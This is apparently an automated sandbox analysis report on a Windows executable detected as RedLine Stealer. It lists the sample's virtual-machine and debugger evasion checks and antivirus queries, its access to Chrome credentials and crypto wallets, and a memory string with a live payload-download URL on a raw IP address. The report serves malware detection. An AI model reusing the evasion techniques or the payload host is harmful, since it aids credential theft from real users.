Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: o4XzTr73Ut.exe, 00000000.00000002.843241720.00000000029A0000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056932112.00000000022B0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: o4XzTr73Ut.exe, 00000000.00000002.843241720.00000000029A0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056932112.00000000022B0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=HTTP://185.112.83.8/SOFTWARECLEANEDPHILOSF.BIN

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe TID: 5080	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe TID: 2020	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_028A9B85 rdtsc

0_2_028A9B85

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Is looking for software installed on the system

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Window / User API: threadDelayed 368			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Window / User API: threadDelayed 1434			Jump to behavior

Contains functionality to detect virtual machines (SLDT)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 12_2_000F0012 sldt word ptr [eax]

12_2_000F0012

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_00405C49
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_00406873 FindFirstFileW,FindClose,		0_2_00406873
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_0040290B FindFirstFileW,		0_2_0040290B

Contains medium sleeps (>= 30s)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Queries a list of all running drivers

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

System information queried: ModuleInformation

Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: o4XzTr73Ut.exe, 00000000.00000002.843241720.00000000029A0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: o4XzTr73Ut.exe, 0000000C.00000002.1062708597.0000000021540000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: vmicshutdown
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056932112.00000000022B0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=http://185.112.83.8/SoftwareCleanedPhilosf.bin
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: vmicvss
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056735991.0000000000862000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: o4XzTr73Ut.exe, 00000000.00000002.843241720.00000000029A0000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056932112.00000000022B0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056735991.0000000000862000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWR[
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: o4XzTr73Ut.exe, 0000000C.00000002.1062708597.0000000021540000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareM_N5ZXAGWin32_VideoController4NXN2WLBVideoController120060621000000.000000-0008.1096.1display.infMSBDAD6HFUU4TPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsDZ5DMBMEk
Source: o4XzTr73Ut.exe, 00000000.00000002.843459982.000000000423A000.00000004.00000001.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: o4XzTr73Ut.exe, 0000000C.00000002.1056998589.00000000023CA000.00000004.00000001.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging:

Hides threads from debuggers

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Thread information set: HideFromDebugger			Jump to behavior

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_72891BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_72891BFF

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_028A9B85 rdtsc

0_2_028A9B85

Enables debug privileges

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A924F mov eax, dword ptr fs:[00000030h]		0_2_028A924F
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A973D mov eax, dword ptr fs:[00000030h]		0_2_028A973D
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA35F mov eax, dword ptr fs:[00000030h]		0_2_028AA35F
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5415 mov eax, dword ptr fs:[00000030h]		0_2_028A5415
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5078 mov eax, dword ptr fs:[00000030h]		0_2_028A5078
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5078 mov eax, dword ptr fs:[00000030h]		0_2_028A5078
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A79DC mov eax, dword ptr fs:[00000030h]		0_2_028A79DC
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028A5908 mov eax, dword ptr fs:[00000030h]		0_2_028A5908
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Code function: 0_2_028AA146 mov eax, dword ptr fs:[00000030h]		0_2_028AA146

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_028A7C3B LdrInitializeThunk,

0_2_028A7C3B

Creates guard pages, often used to prevent reverse engineering and debugging

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Process created: C:\Users\user\Desktop\o4XzTr73Ut.exe "C:\Users\user\Desktop\o4XzTr73Ut.exe"

Jump to behavior

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation			Jump to behavior

Queries the cryptographic machine GUID

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Contains functionality to query windows version

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe

Code function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040352D

Lowering of HIPS / PFW / Operating System Security Settings:

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

AV process strings found (often used to terminate AV products)

Source: o4XzTr73Ut.exe, 0000000C.00000002.1056764208.0000000000888000.00000004.00000020.sdmp, o4XzTr73Ut.exe, 0000000C.00000002.1062708597.0000000021540000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.o4XzTr73Ut.exe.89add8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170f6e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170086.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170f6e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.20640000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0ee8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.20640000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.o4XzTr73Ut.exe.89add8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170086.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0ee8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1061972250.0000000020640000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1061316952.000000001F5F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1060215267.000000001E3E0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1004258087.000000000089A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1060066764.000000001E130000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: o4XzTr73Ut.exe PID: 6324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\o4XzTr73Ut.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior

Yara detected Credential Stealer

Source: Yara match

File source: Process Memory Space: o4XzTr73Ut.exe PID: 6324, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.o4XzTr73Ut.exe.89add8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170f6e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170086.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170f6e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.20640000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0ee8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.20640000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.o4XzTr73Ut.exe.89add8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e170086.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.o4XzTr73Ut.exe.1e3e0ee8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1061972250.0000000020640000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1061316952.000000001F5F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1060215267.000000001E3E0000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1004258087.000000000089A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1060066764.000000001E130000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: o4XzTr73Ut.exe PID: 6324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP